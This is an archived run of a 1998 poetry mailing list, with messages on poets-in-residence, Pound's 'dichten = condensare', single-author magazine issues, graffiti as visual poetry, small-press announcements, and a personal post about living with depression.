Ok, maybe it is a bit weird that Peter Samson is poet-in-residence in Marks and Spenser's store, but here on this side of the Atlantic (i.e. the other side to most of you people) we thought the States invented all this stuff and that's why we're falling over ourselves now to put poets in hospitals, libraries, lingerie departments, what have you. Even as I write, I'm in the old National Ballroom, Dublin (Ireland) where I'm writer-in-residence for Dublin Corporation, and a couple of weeks back I did a short, experimental stint in a Nissan car plant. The idea came from the News department of RTE, our national TV broadcaster, no doubt spurred on by the appointed of a poet in residence to the BBC News department in London a couple of weeks back. As far as I can make out (initial novelty

aside), it's all about reminding people that poetry doesn't have a natural home, per se. Still, I must admit that a recent circular to British and Irish poets about availability for workshops/residencies did make me sit up. Among the locations that might be ticked by the interested scribe were zoos and nuclear power stations!

PAT BORAN
[redacted]

↑ Index

1026. **Tom Beckett**
Re: poets-in-residence
Thu 26 Feb 1998

Dear Pat--

Do you suppose Guinness might have room for a token yank poet or two?
All best,
Tom Beckett

↑ Index

1027. **Tom Beckett**
query
Thu 26 Feb 1998

Does anyone know what became of Dave Chirot's project of a magazine issue devoted to responses to Bob Grenier's work?

Tom Beckett

↑ Index

1028. **Hilton Manfred Obenzinger**
Re: poets-in-residence
Thu 26 Feb 1998

I don't know about the earlier posting, but the idea of poets in car plants and lingerie departments sounds terrific.

Hilton Obenzinger

On Thu, 26 Feb 1998, Pat Boran wrote:

> *Re David R Isreael's earlier posting:*
>
> *Ok, maybe it is a bit weird that Peter Samson is poet-in-residence in Marks and Spenser's store, but here on this side of the Atlantic (i.e. the other side to most of you people) we thought the States invented all this stuff*

> *and that's why we're falling over ourselves now to put poets in hospitals, libraries, lingerie departments, what have you. Even as I write, I'm in the old National Ballroom, Dublin (Ireland) where I'm writer-in-residence for Dublin Corporation, and a couple of weeks back I did a short, experimental stint in a Nissan car plant. The idea came from the News department of RTE, our national TV broadcaster, no doubt spurred on by the appointed of a poet in residence to the BBC News department in London a couple of weeks back. As far as I can make out (initial novelty aside), it's all about reminding people that poetry doesn't have a natural home, per se. Still, I must admit that a recent circular to British and Irish poets about availability for workshops/residencies did make me sit up. Among the locations that might be ticked by the interested scribe were zoos and nuclear power stations!*
>
> *PAT BORAN*
> [redacted]

↑ Index

1029. **William Burmeister Prod**

Re: Pound: dichten = condensare?

Thu 26 Feb 1998

Content-Description: Text

On Feb 26, 10:35am, Michel Delville wrote:
> Subject: Pound: dichten = condensare?
>
> [text/plain
> Encoded with "quoted-printable"] :
The German verb "dichten" does not mean "to condense" but to "block" the
> holes or openings in an object in order to prevent air, gas, or liquid
> getting in or out. I guess "to seal" would be the nearest English
> equivalent. The idea, however, is not to achieve "poetic density" but
> rather to preserve a sense of unity or wholeness. More fragments to shore
> against our ruins?

> *----------*
> *Michel Delville*
> *English Department*
> *University of Liège*
> *3 Place Cockerill*
> *4000 Liège*
> *BELGIUM*
> *fax: ++ 32 4 366 57 21*
> *e-mail:* [redacted]
> *-- End of excerpt from Michel Delville*

Methinks this post doth me confusare. Btw -- it's more fragments to civilize the wholesome.

Wilhelm Dichtenhausennichtenschiessenundfrumpf

↑ Index

1030. **david bromige**
Dicht-ung- = condensare
Thu 26 Feb 1998

Lets not get sidetracked here -- as I recall, Ep's Bunting-derived edict was Dichtung=condensare. tr. perhaps as "Poetry=to condense." No? Pound _did_ say "dicht*en*"? Has anyone looked this up? Lazy Dave

↑ Index

1031. **MAYHEW**
take my poetics, please
Thu 26 Feb 1998

"Basil Bunting, fumbling about with a German-Italian dictionary, found that this idea of poetry as concentration is as old as the German language itself. Dichten is the German verb corresponding to the noun Dichtung meaning poetry, and the lexicographer has rendered it by the Italian verb meaning to condense."

This is the quote from the ABC of reading that got all of this started. It's on page 36 of the edition I have.

Thanks to all those who answered my original query; I suspect that dicht meaning thick or dense comes from the same root as the English *thick* and that the dicht of Dichtung (poesie) is completely unrelated. It makes a nice story though!

Jonathan Mayhew
"No layoff / from this/ condensery" (LN)
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

1032. **Aldon Nielsen**
current reading
Thu 26 Feb 1998

have just been reading Andrew Levy's _Continuous Discontinuous_, from Potes & Poets, which I would press upon each of you with great enthusiasm -- contains both wahrheit and dichtung in considerable measure, along with a dash of methode -- for condensare fans, there is the section titled "Songs and Improvisations," which really is, as Rock Reporters keep saying, a "self-titled" album

↑ Index

1033. **Christina Fairbank Chirot**
Re: Dicht-ung- = condensare
Thu 26 Feb 1998

Pound attributed this formula (a mathematical poem a la Bob Grumman?)
to Basil Bunting--see ABC of Reading
--
but all the joking aside, it did have quite a complicated effect,
examining as Jenny Penberthy has done, the correspondences and influences among Pound, Zukofsky and Lorine Niedecker--who after all wrote of her
"Condensary"--

other writers flowing from this in spiralling ways and varying ways and waves--Corman, Eigner, Grenier--

escritura en libertad
dave baptiste chirot

↑ Index

1034. **Sylvester Pollet**
Re: Dicht-ung- = condensare
Thu 26 Feb 1998

At 10:56 AM -0800 2/26/98, david bromige wrote:
> Lets not get sidetracked here -- as I recall, Ep's
>Bunting-derived edict was Dichtung=condensare. tr. perhaps as "Poetry=to
>condense." No? Pound _did_ say "dicht*en*"? Has anyone looked this up? Lazy
>Dave

David: I didn't have the book & was going on memory, but it's in ABC of Reading, 36, beginning of Chap 4, where ep says first "Dichten=condensare," then

goes on to say "Basil Bunting, fumbling about with a German-Italian dictionary, found that this idea of poetry as concentration is as old almost as the German language. 'Dichten' is the German verb corresponding to the noun 'Dichtung' meaning poetry, and the lexicographer has rendered it by the Italian verb meaning 'to condense'." But I enjoyed your version, swamps, sopranos, and all! best, Sylvester

↑ Index

1035. Poetics List Administration
Re: Pound: dichten = condensare?
Thu 26 Feb 1998

Hey.

Ah, Ezra! Somehow, all roads seem to lead (however circuitous) back to EP.

Another implication of "condensare" is to think of soup --or stock, at least. We (or I, anyways) cook stock "down" to instill it with all the yummy goodness of its initial ingredients --to condense all the "meaning" of the stuff we began with into the stuff we're left with. From "mere" language into poetry. (What was it Pound said about poetry being "langauge instilled with meaning to the highest degree"?)

(Ah! My first post.)

But I may be mistaken.

michael/

********** *Brevis esse labouro / Obscuro fio*

(I labour to be brief / and become obscure)
+Horace.

[redacted]

↑ Index

1036. Joe Amato/Kass Fleisher
Re: current reading
Thu 26 Feb 1998

---

to second aldon's recommendation of my pal andrew levy's _continuous discontinuous_---some kinda writing, check it out...

the book also includes, to dredge up an old thread, one of my favorite back-cover blurbs, by none other than our very own rod smith:

"Andrew Levy is a Buddha."

(((hey rod, please don't bother explaining it!///

best,

joe

↑ Index

1037. Joe Amato/Kass Fleisher
disturbing news
Thu 26 Feb 1998

---

partial update...

joe

> *Posted at 1:13 p.m. PST Tuesday, February 24, 1998*
>
> *Kentucky author Gayl Jones released from hospital*
>
> *Reuters*
>
> *LEXINGTON, Ky. - Author Gayl Jones was released from a mental hospital Tuesday where she had been held since a standoff last week with police that ended with her husband slitting his own throat.*
>
> *Jones, 48, the author of the acclaimed new novel ``The Healing,'' had been under observation at Eastern State Hospital in Lexington since Friday night.*
>
> *She and her husband, Bob Jones, 51, barricaded themselves inside their modest clapboard home and filled it with natural gas, threatening to ignite an explosion when police knocked on the door to serve an old arrest warrant against him.*
>
> *The officers burst in, and Bob Jones sliced open his throat and died later at a hospital.*
>
> *``She was never charged with anything,'' Fayette County Attorney Margaret Kannensohn said.*
>
> *A protege of Nobel Prize-winner Toni Morrison, Jones was taken to the psychiatric hospital because she made statements suggesting she might be suicidal, authorities said.*
>
> *Her husband was prosecuted twice in 1997 for sending ''terroristic'' threats and harassing messages to state officials in*

> *which he charged his wife's mother had been ''kidnapped and murdered'' by the cancer ward of a local hospital. Neither case resulted in a conviction after he agreed to stop.*
>
> *Deputy county attorney Lee Turpin, who prosecuted Jones, said his wife would accompany him to court but never said anything. ``She never even looked up,'' Turpin said.*
>
> *In rare speaking engagements, Jones has mentioned reclusive author J.D. Salinger as a model for her desire to be judged solely for her work, which includes five novels. Previous to ''The Healing,'' Jones' last-published novel was ``Eva's Man'' in 1987.*
>
> *Recently, another round of threatening letters and calls from Bob Jones to local officials came to the attention of Turpin, who then read a glowing Newsweek magazine review of Gayl Jones' latest fictional work and noticed the mention of her husband's original name, Bob Higgins.*
>
> *A search of records found Higgins had a 14-year-old outstanding warrant from Ann Arbor, Michigan, in which he was charged with brandishing a shotgun during a demonstration by homosexuals at the University of Michigan, where his wife formerly taught. Jones reportedly was virulently anti-homosexual after he was raped while he was in detention.*
>
> *Police were sent to serve the warrant at the Jones' home where the standoff and subsequent suicide occurred.*

↑ Index

1038. **Maria Damon**

Re: depression,suicide

Thu 26 Feb 1998

---

thanks, tom, indeed. i've assumed that many of us have been speaking with more than academic knowledge and/or investment in the topic; you are the first to say so openly.

At 6:46 PM -0500 2/21/98, Joe Brennan wrote:
>Tom: this is a gutsy post and hopefully will add a dimension to this
>discussion that will make some folks a litte more circumspect before they
>engage in blanket generalizations that diminish rather than expand the
>possibility of understanding.
>
>Joe
>

>
>
>In a message dated 98-02-21 15:53:22 EST, you write:
>
><<
> Depression. Suicide. I've been following the conversation for the last few
> days and was trying to stay out of it but I can't. Here goes...I can put a
> face on this--my own. Depression is a fact of my life that I am trying to
> deal with. It is difficult to communicate how stifling, how oppressive, how
> overwhelming and crippling it can be if you've not experienced it. I goes
> well beyond "having a bad day" and involves patterns of obsessive thinking
> that one has to learn how to shut off if one is to survive. There are no
>easy
> fixes. A pill might help but it can ultimately only be part of the answer.
>
> When I was a small child, I suffered a head trauma that caused epilepsy and
> that took away many aspects of my physical coordination. Before the trauma
I
> could turn somersaults, afterwards not. Before I had normal fine motor
> skills, afterwards not,etc. The !950s were not great years in which to be
> epileptic, different, hyperactive, uncoordinated, unusually tall, and
> emotionally uncertain. I was beaten up regularly. Add in an authoritarian
> father who found me disappointing. It, I, was a problem. I was shunted to
> doctors, psychs, medicated (for 16 years), hooked to machines, sent to a
> "special school" (grades 3 to 5) that taught me nothing but that I was
> abnormal. Resources for kids with these kinds of problems are better now
but
> in the 50s and early 60s it was a nightmare. I learned to be fearful. I
> learned to feel incompetent. I've always felt that I don't belong anywhere.
> It has made for difficulties (that damn word again).
>
> More recently I've had years of pain from a back injury which is now better
> and last spring I was physically assaulted while doing an housing inspection
> at a low income housing project.
>
> All of this is shorthand for things that could be gone on about at
>booklength.
> I'll resist the impulse. What I'm trying to suggest (beyond whining) is that
> there are many layers to a person's depression. It occurs in context(s). I,
> for one, need better coping skills. I'm trying to get them.
>
> Suicide is an unfortunate outcome. But I understand all too well how it can

> happen. We don't all have the same pain thresholds--or the same learning
> opportunities. I wish Walter Benjamin hadn't killed himself. (Imagine him
> surviving to
> live in NY and encounter a young Charles Bernstein in Central Park.) But I
> understand why he did. I might well have behaved similarly. To call suicide
> an act of cowardice is not helpful. In our "just do it" culture sometimes we
> need to extend a little more empathy--perhaps seeking clarification rather
> than dismissing out-of-hand what scares us . Enough. Tom Beckett
>
>
> ---------- Headers ----------
> Return-Path: <[redacted]>
> Received: from relay20.mail.aol.com (relay20.mail.aol.com [172.31.106.66])
>by air05.mail.aol.com (v39.9) with SMTP; Sat, 21 Feb 1998 15:53:22 -0500
> Received: from PEAR.EASE.LSOFT.COM (pear.ease.lsoft.com
[206.241.12.19])
> by relay20.mail.aol.com (8.8.5/8.8.5/AOL-4.0.0)
> with ESMTP id PAA15833;
> Sat, 21 Feb 1998 15:53:12 -0500 (EST)
> Receiv >>

↑ Index

1039. **Maria Damon**
Re: The Pillow Book
Thu 26 Feb 1998

At 9:13 AM -0500 2/24/98, Burt Kimmelman [redacted] wrote:
>i loved the pillow book movie but too felt at a distance from it, yet
>i'm told that reading the book the pillow book is essential if one is
>to get anything real out of the flick.

the book has long been a fave of mine, but didn't see the movie. the book is great to teach, but the movie seems obsessed w/ the erotic aspects of the book, which are there but much subdued.

↑ Index

1040. **henry gould**
condens.
Thu 26 Feb 1998

Great quote from Horace by Michael Young: I labor to be brief / and become obscure !!! what a marvelous comeback at Pound! & somewhere in the back of my head drifting where I can't find it is some quote from Virgil or the bible or

something about the vanity of poets always struggling to make the obvious stylishly obscure... - Henry Gould

↑ Index

1041. **Maria Damon**

Re: three unrelated queries and a note on poetic depression

Thu 26 Feb 1998

---

there is also a doctoral student in medieval lit at U Toronto, Karla Mallette, a dear friend, now living in san francisco, whose dissertation concerns medieval Sicily as a meetingplace and site of bardic and social contestation btw. italian and arabic poetry. i take it from your queries that you're hard at work on Mackey's epistolary trilogy, Stephen! so am i, will backchannel for more kibb-itzing.

md

At 11:56 PM -0400 2/23/98, Pierre Joris wrote:
>Stephen Cope wrote:
>
>> Some information I'm looking for, if anyone has anything to hand:
>>
>> 1) I'm looking for books (preferably in English, although if there's
>> something good in French I'll take that too), dealing specifically with the
>> influence of Islamic poetic forms on the Medeival lyric in the West (a la
>> the tradition of courtly love), and, more braodly, with the influence of
>> Arabic culture on the European Renaissance. This is clearly a broad query,
>> so feel free to backchannel.
>
>Well, it cld be oif interest to others on the list, so I'll post it for
>general consumption.
>
>A good place to start is Maria Rosa Menocal's _Shards of Love_ (Duke, 1994)
>and her _The Arabic Role in Medieval Literary History: A Forgotten
Heritage_ ,
>also from Duke UP. The bibliographies in those two will provide you with
>enough reading for a while. But much much work is still needed in that area:
>present topical dislike of Arabs is not new & western scholarship has spent
>centuries _denying_ any and all influence. A good example is the etymology of
>troubadour -- given by euro-american philologists as going back to a
>hypothetical latin root "trobar" -- to find, they say. Ask an Arabist
>knowlegeable in medival Arabic (hispanic medieval, that is) & s/he'll say
>immediately oh, troubadour isthe same word as Arabic for "song".

>
> Then, if Dante is of interest in that matter, there is a fair amount of
>scholarship on his work's relations to Arabic poetry.
>
>Pierre
>
>--
>==========
>pierre joris 6 madison place albany ny 12202
>tel/fax [redacted] email:[redacted]
>http://www.albany.edu/~joris/
>----------
>"What often prevents us from giving ourselves over to
>a single vice is that we have several of them."
> — La Rochefoucauld
>==========

↑ Index

1042. Miekal And

+db

Fri 27 Feb 1998

Just got my 12 year old copy of the difficulties db issue & I want to say to tom b that it is a very likeable representation of david's rather large & humorlavish world. I especially enjoyed the annotated bibiography in which david fills the unknowing in on the thinking behind the books, books which I have never seen, & well there just arent any David B book in the LaFarge libary out here, in fact there is not a book by anyone on this list in the LaFarge library, can you believe that? So even after reading thru snippets of most of the writings glowing with chumness, what stays with me the most was that picture on the front cover, David looking like a doublebreasted oxford citation. Is that really David B? I mean, Ive read a lifetime of db via this list in the last year, & according to his writing he cant look that way.

Looks aside, I was intrigued also by the piece which bromige intersects bruce andrews...each word commafied in a grand scrolling word movie. & revealed that David is a collaborators collaborator, a genre that interests me at this point in my writinglife far more than solo shtuff. My only hope is that someday David knocks on my door inspired to twist words with me.

miekal

tom, something very very satisfying about works dedicated to a single author, is there anyone doing now what difficulties was doing then, is difficulties still?

↑ Index

1043. **Miekal And**
today's pangram
Fri 27 Feb 1998

today's pangram is by texas word alchemist Michael Helsem

Literature: True-lie art.

↑ Index

1044. **Miekal And**
read anagram
Fri 27 Feb 1998

please substitute anagram for pangram in my previous post. so sorry.

↑ Index

1045. **Douglas**
new Sun & Moon Press titles
Fri 27 Feb 1998

Dear Friends,

I'd like to announce the publication of three new
Sun & Moon Press titles. As usual, subscribers to
this Poetics List receive a 20% discount if they
order from my E-mail or my post.

E-mail [redacted]
of Post: Sun & Moon Press
6026 Wilshire Boulevard
Los Angeles, CA 90036

THE LITTLE DOOR SLIDES BACK, by Jeff Clark

This is the 1996 winner of the National Poetry Series
(selected by Ray DiPalma). Jeff's book is an amazing
first book of poetry -- an amazing book under any cir-
circumstances. This is the book many of you have been waiting
for!

> Tonight he wails in the tub like a baby --
>
> "Shave it!"
>
> "I will wade into the Pacific and kiss my mother!"

$10.95 (paper)

EUREKA, A PROSE POEM, by Edgar Allan Poe

The newest selection from the Green Integer series of belles-lettres works, this brings back into print (in a single-volume edition) one of Poe's major works. It is a very strange piece, indeed, as Poe takes on the the scientific world in attempts to prove metaphysical possibilities.

$10.95 (paper)

POEMS, by Sappho

A new translation (based on the earlier Anchor edition) by Willis Barnstone fo the great Lesbian (truly a "Lesbian," from Lesbia) poet. We all know Mary Barnard's great translator, but unfortunately hers was based on a corrupted text, in which the original editor had added (in Greek) missing lines and texts. This is one of the best editions of the true Sappho work available.

$10.95 (paper)

We'll have more books very soon. And watch in May for our exciting new bi-annual journal of International Poetry: MR KNIFE, MISS FORK. New poems by major international poets, commentary, and short reviews!!

Early subscriptions may be obtained from Sun & Moon for a 20% discount from the price of $20.00 price (that's $16.00 for two issues).

Douglas Messerli
Publisher

↑ Index

1046. **Burt Kimmelman**

Re: The Pillow Book

Fri 27 Feb 1998

---

maria,

and all,

the pillow book movie is most obviously "obsessed" or perhaps "concerned with" textuality as a force in the world. does this obsession square with the book?

burt

↑ Index

1047. **TBeck131**
Re: +db
Fri 27 Feb 1998

Miekal--

You are right, there is something especially satisfying about focussing in on a single author, single topic. It becomes possible to present multiple views of what you have on hand and to show connections to wider concerns. I tried to use __The Difficulties__ as a way to, on one hand, shorten the response to an author's work &,on the other hand, to advocate innovative practice more generally. I''d love to do that sort of editorial work again but the money commitment is beyond my ability at this point. I'm amazed that I was able to do it before without grants, etc., just through pure hustle.

Currently, I know that Rod Smith should have the Bruce Andrews AERIAL out before too long. If it is as good as the Watten Issue it will be spectacular. Rod's work as an editor and poet is getting better and better all the time. Talisman may still be doing some special author issues. I haven't read that mag for a year or two so am not sure what Foster's up to. Otherwise I don't know what is going on. There have been rumors for a couple of years about a special issue of new mag called BURL being devoted to Bob Grenier--who is long overdue for such attention. If I could find a sugardaddy I'd do it myself.

The Bromige cover is a good likeness of DB. He's a remarkable artist and an even more extraordinary human being. It's a privelege being on the same planet.

Lunch time over. Gotta run. More some other time.
Best, Tom Beckett

↑ Index

1048. **Peter Balestrieri**
Please SEND for ME Now!
Fri 27 Feb 1998

Please SEND for ME Now!

Every poem I write provides sensuous proof that enduring American poetry can please the eye and challenge the mind. If you are satisfied with your free poem, just $1000.00 delivers a full year (a total of seven poems) of the country's most intriguing poet in vibrant color and brilliant detail. Mail the attached postcard today! Savor the one publication that celebrates the poetry you truly love.

↑ Index

1049. Laura Moriarty
Re: +db +lc +je
Fri 27 Feb 1998

Miekal -

non will be doing various single author issues - The first will be on Leslie Scalapino and next on Jerry Estrin -

Ed Foster has done single author Talismans and Rod Smith Aerials - and of course the new J MacLow Crayon - Such issues are fascinating and useful, but I would note that there are few about women -

i. e. Has anyone done a Susan Howe or is one planned?

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

↑ Index

1050. Joe Amato/Kass Fleisher
begging yr pardons...
Fri 27 Feb 1998

---

i regret having to burden the list with something that is specifically to do with moi, but i couldn't think of a quicker way... so herewith the 'works cited' (as it were) of my online piece (the one i've mentioned hereabouts before)... i'll be adding to this piece only a bit, methinks, twixt now and four weeks from now... and if anyone out there has any problems/objections with my having repro'd some of your work, or work under your imprint, please to let me know... ex-cerpts from poetry appear with *** (i realize i won't reach everyone by posting this list, but what the hell---i'm using this work b/c i LIKE it, and would be only too happy to 'feature' other work if asked)...

if my online piece, or some version thereof, is published in print, i suspect i may not reproduce the poetry, as i suspect the publishers will have much to say as to what permissions i'll have to seek---in writing of course... but IF i seek same, those affected will thereby be contacted formally...

note the media slippage here---and i WILL be reading much of the poetry aloud during my presentation...

anyway, apologies for the interrupt, and thanx to all for bearing with me... all remarks &/or curses backchannel, please...

yr humble & obedient servant,

joe

nb: work again at

http://www.iit.edu/~amato/moonlight.html

(you'll have to follow the links)

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↑ Index

1051. Maria Damon
YO kristin prevallet, or, address query
Fri 27 Feb 1998

---

i gave it away in the subject line. anybody got kristin's e-address? I need it pronto! thanks in advance --md

↑ Index

1052. Keston Sutherland
bit/scrap
Fri 27 Feb 1998

A RAINBOW KISS

Heaved up over the dead extra-solemn
gnat at her stashed
day
break's end on her
rifer diet of, say, (approx.) a mode set of pretty flinchless
ups and downs smacked
into a glad adherence, alle
grissimo, a drawn-out twitch; you part
person part colour
code grayed
into her guess
and yours, in glareless mothlight. By no means
shaping a pact, and not repressed. Glutted. Each day gags
ring, thunderous. Big Trouble in Little China. I can barely sleep or I sleep in
her best hell's charade, to win each way. Downs

says about fairly, I'd
say or thereabouts just
what's meant, help me out here maybe it's a glister in
surance return, falling (down) and fondling her tendered
fear in the shades
of brilliance she pervades through soap reflux.

↑ Index

1053. **Steve Tills**

Re: +db

Fri 27 Feb 1998

Miekal,

Actually, he's handsomer.

Miekal And wrote:

> *Just got my 12 year old copy of the difficulties db issue & I want to say to tom b that it is a very likeable representation of david's rather large & humorlavish world. I especially enjoyed the annotated bibiography in which david fills the unknowing in on the thinking behind the books, books which I have never seen, & well there just arent any David B book in the LaFarge libary out here, in fact there is not a book by anyone on this list in the LaFarge library, can you believe that? So even after reading thru snippets of most of the writings glowing with chumness, what stays with me the most was that picture on the front cover, David looking like a doublebreasted oxford citation. Is that really David B? I mean, Ive read a lifetime of db via this list in the last year, & according to his writing he cant look that way.*
>
> *Looks aside, I was intrigued also by the piece which bromige intersects bruce andrews...each word commafied in a grand scrolling word movie. & revealed that David is a collaborators collaborator, a genre that interests me at this point in my writinglife far more than solo shtuff. My only hope is that someday David knocks on my door inspired to twist words with me.*
>
> *miekal*
>
> *tom, something very very satisfying about works dedicated to a single author, is there anyone doing now what difficulties was doing then, is difficulties still?*

↑ Index

1054. Miekal And
tomorrow's anagram
Fri 27 Feb 1998

dave baptiste chirot wrote:

a parable?

a bar leap*

---

*it is my feeling that much of the visual poetry distributed thru mailart channels & thru international vispo contacts function in a similar grafftiographic manner in relation to the "well behaved visual poetry" ... or for years while living in madison would poster my works on telephone poles & buildingsides or festival of the swamps traces spray painted on sidewalks come to mind, what there is left of it.

↑ Index

1055. Christina Fairbank Chirot
Re: today's anagram
Fri 27 Feb 1998

how about: literature =

irate luter

(looter . . .)

in "The 14th Ward" section of Black Spring Henry Miller writes:
"What is not in the open street is false, derived, that is to say literature"
Some of the greatest visual poetry of our times--tagging (graffiti) is steadily and heavily being criminalized--
while well behaved visual poetry becomes part of literature courses in elite halls--
a parable?
--dave baptiste chirot

On Fri, 27 Feb 1998, Miekal And wrote:

> *today's pangram is by texas word alchemist Michael Helsem*
>
> *Literature: True-lie art.*

↑ Index

1056. **Miekal And**
Authorized
Fri 27 Feb 1998

"tell me that the term single authors is not refering to marital status"

TB
wrote:

> *I would challenge everyone on this list who has not had the experience of editing/publishing a magazine or running a reading series to begin to do so sometime within the next year. It could be frightening.*

tom you get the frisky listmember of the year award for this much needed challenge. if after a year of going thru the paces of this list you are still able to muster such challenges you are truly a great soul.

I
think
there
is
something
important
not
being
said
here
re
single
authors
issues,
the
magnificient
idea
that
it
is.

the
choruses
of who
yet
has
not

earned
such
status
all
seem
to be
of a
school
whose
name
remains
unmentioned
&
somehow
they
are
all
american
&
they
seem
to
be
names
of
those
who
are
quite
established

this
genre
is
exciting
to me
because
i
feel
invited
into their
life, thots,

& writing
simultaneously
in a way
that is
not
possible
when
reading
a book
of texts.

some
people
I would
like
to see
such
assemblages
prepared
for
include
people
like

tenatively, a convenience
christopher dewdney
elizabeth was
bern porter
chris cheek
cesar figieurado (dont have spelling in front of me)
dick higgins
alison knowles
hannah weiner
bernadette mayer
p inman
rea nikonova
crag hill
abraham lincoln gillespie (minus the interview)
henry flynt
bob cobbing
diter rot
steve mccaffrey
our Mr B

& I
think
Tom
that
this challenge
is appropriate
placed,
accurately
framed
& indisputably
the task
ahead
of us
as
participants
in culture
of writing
writing
forward

M And

↑ Index

1057. **Michael Heller**
Re: Pound and ideograms
Fri 27 Feb 1998

Pound made the claim that Gaudier-Brzeska could 'read' the ideograms (p46 of the G-B memoir and other places). Did he make that claim for himself? Where?

↑ Index

1058. **TBeck131**
Re: +db +lc +je
Fri 27 Feb 1998

I did a Susan Howe Difficulties and Ed Foster has done a Susan Howe Talisman. Tom B.

↑ Index

1059. **CharSSmith**
Re: Susan Howe
Fri 27 Feb 1998

In a message dated 98-02-27 15:38:05 EST, Laura Moriarty writes:

<< i. e. Has anyone done a Susan Howe or is one planned? >>

Tom Beckett himself did a GREAT Susan Howe issue! #3.2, 1989

2 interviews, one conducted by Tom, the other by Janet Ruth Falon

& writings on her work by: Stephen Ratcliffe, Janet Rodney, Paul Metcalf, Maureen Owen, Joel Lewis, Stephen-Paul Martin, Bruce Andrews, Peter Quartemain, Charles Bernstein, Bruce Campbell, Linda Reinfeld & Denis Barone.

whaddya want to bet Tom doesn't have any more?

& there's also the Talisman issue (#4, 1990), but you already know that, don't you? (Ed Foster's also done issues on Notley, Waldrop, Scalapino & Waldman)

& a new one wd indeed be most welcome!

enjoying yr non(s)

all best,
Charles Smith

↑ Index

1060. **ScoutEW**
Re: today's anagram/tagstagstags
Fri 27 Feb 1998

Tagging is great, on the Amtrack north from Manhattan to Albany just around the beginning of the Bronx are some great tags, visual and poetic, yet at the same time criminal? -poetry on walls, colorful, often moving (on trains) blurred, short and to the point(like Creeley) , criminal (?) -In the parking lot of Buffalo's Albright -Knox art gallery I watched someone tag one of the moving trucks all white and clean with a sparkling new message, As the security guard chased that person down Elmwood Ave, I remember (watching, hiding behind the bus stop) thinking the tag was better than anything inside-cherrio folks-J michel basquiat would have liked that.

↑ Index

1061. **TBeck131**
single author issues
Fri 27 Feb 1998

Back to Laura M.'s comment about focussing on female writers. I agree absolutely. My experience though was that I contacted a number of women writers and I didn't have success in getting them to participate in a project--with the exception of Susan Howe. Finally I ran out of gas and could no longer sustain the project. I deeply regret though not doing anything on Hejinian, Scalapino, DuPlessis, Ward and several others. If I ever have the resources and opportunity I will remedy that.

Tom B.

↑ Index

1062. **Steve Tills**
Re: single author issues
Fri 27 Feb 1998

Tom,

Yes, very much agree with Laura Moriarty's point!

Also, do you in fact have any of the Susan Howe issues left, and if so I'd like to get one, indeed. Steve Tills

TBeck131 wrote:

> *Back to Laura M.'s comment about focussing on female writers. I agree absolutely. My experience though was that I contacted a number of women writers and I didn't have success in getting them to participate in a project--with the exception of Susan Howe. Finally I ran out of gas and could no longer sustain the project. I deeply regret though not doing anything on Hejinian, Scalapino, DuPlessis, Ward and several others. If I ever have the resources and opportunity I will remedy that.*
>
> *Tom B.*

↑ Index

1063. **CharSSmith**
Re: single author issues
Fri 27 Feb 1998

---

others I've enjoyed that come to mind:

Paper Air: issues on John Taggart, Jackson MacLow & Bernstein's "Artifice"

Ironwood: 2 issues on George Oppen, one on Duncan, one on Dickinson/Spicer

Credences: one on Irby, another on Metcalf/Duncan

old issues of Vort, if findable, were two-author issues

Acts: one on Spicer, another on Celan

& of course, Sagetrieb

that's all for now,

Charles

↑ Index

1064. **Michael J. Kelleher**
Re: single author issues
Fri 27 Feb 1998

---

my new e-broadside a l y r i c m a i l e r is doing all single author features of recent work mostly by the younger set. it can be viewed at

http://writing.upenn.edu/~mjk/hotpotato.

issue number one features work by Dan Machlin. planned and upcoming features include Heather Fuller, Ben Friedlander, Eleni Sikelianos, Garrett Kalleberg, Carrie Toccie, Heather Ramsdell, Laird Hunt and Stephen Mounkhall.

mk

↑ Index

1065. **TBeck131**
Re: single author issues
Fri 27 Feb 1998

I shdn't have used the phrase "single author issues" since what we were discussing was mags devoted to critical takes on the work of a single author. I do think such mags have a singular role to play and that we all could profit from having a few more of them around.

Poets need more venues. I've been writing for over 20 years and have never had the opportunity to publish a full length book and not for lack of trying. This is not a unique situation.

I would challenge everyone on this list who has not had the experience of editing/publishing a magazine or running a reading series to begin to do so sometime within the next year. It could be frightening. tom beckett

↑ Index

1066. **robert drake**
Re: today's anagram/tagstagstags
Fri 27 Feb 1998

karl young wrote convincingly on tagging in th context of vispo (& also mailart and book art) in his postface to bob harrison & nicholas frank's _context: a survey of recent visual poetry_ (1995; hermetic gallery, milwaukee)...

> *Tagging is great, on the Amtrack north from Manhattan to Albany*
> *just around the beginning of the Bronx are some great tags, visual and*
> *poetic, yet at the same time criminal?*
> *-poetry on walls, colorful, often moving (on trains) blurred, short and to the*
> *point(like Creeley) , criminal (?)*
> *-In the parking lot of Buffalo's Albright -Knox art gallery I watched someone*
> *tag one of the moving trucks all white and clean with a sparkling new message,*
> *As the security guard chased that person down Elmwood Ave, I remember (*
> *watching, hiding behind the bus stop) thinking the tag was better than*
> *anything inside-cherrio folks-J michel basquiat would have liked that.*

↑ Index

1067. **CharSSmith**
Re: single author issues, ps
Fri 27 Feb 1998

oops!

Kevin Killian's Mirage issue on John Weiners

& Paul Mariah's Manroot issue dedicated to Spicer

Laura's point is well taken. Talisman is just abt the only mag one can point to doing features on women. Pretty amazing that no one has done an issue on Lyn Hejinian yet. There was a fine issue of Jimmy & Lucy's House of "K" dedicated to a survey of Tuumba titles & included an interview w/ her. Can't think of anything else.

Pretty sad too that of *that* <<u=n=a=m=e=d>> g=r=o=u=p, there isn't yet a collection of her essays.

Charles

↑ Index

1068. **Schuchat Simon**
Re: single author issues
Fri 27 Feb 1998

I have an old Caterpillar, #12, July 1970, devoted to only 2 authors, Jack Spicer and Robin Blaser -- truly great! A model for the genre.

↑ Index

1069. Karen Kelley
Pillow Book
Fri 27 Feb 1998

Kind of peripherally: I've been reading Claude Simon's _Tryptich_ (which is amazing) and the density of cross-cutting images & naratives, the pure luscious accretion, keeps reminding me of both Greenaway & Shonagon.

A thought serendipitously addressed by this quote attached to a message received early this morning:

Contemporary trends of thought imagine that art is like a
fountain, whereas it is a sponge. They have decided that art should
gush forth, whereas it should absorb and become saturated.
They think it can be broken down into methods of depiction,
whereas it is composed of organs of perception.
> > Boris Pasternak

↑ Index

1070. Gabriel Gudding
Re: single author issues & SYC REV
Fri 27 Feb 1998

On Fri, 27 Feb 1998, TBeck131 wrote:

> *Poets need more venues.*

In humane response to the above outcry for MORE VENUES,

